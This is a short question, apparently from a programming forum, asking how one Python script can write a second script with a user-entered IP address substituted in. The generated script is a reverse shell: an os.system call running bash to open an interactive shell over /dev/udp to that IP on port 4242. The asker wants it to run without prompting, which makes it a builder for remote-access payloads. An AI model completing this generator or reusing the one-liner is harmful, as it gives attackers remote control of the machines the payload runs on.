title: How can one python file create another with the same variable
body: <p>I have code similar to this</p>
  <pre><code>ip = input(&quot;Enter IP: &quot;)
  </code></pre>
  <p>I need to make it after receving ip create new python file with this commands</p>
  <pre><code>import os
  os.system('/bin/bash -c &quot;setsid 
  sh -i &gt;&amp; /dev/udp/&quot;ip&quot;/4242 
  0&gt;&amp;1&quot;') 
  </code></pre>
  <p>And instead of &quot;ip&quot; I need it to write ip that user entered</p>
  <p>And second script shouldn't ask for input, it should take data from first</p>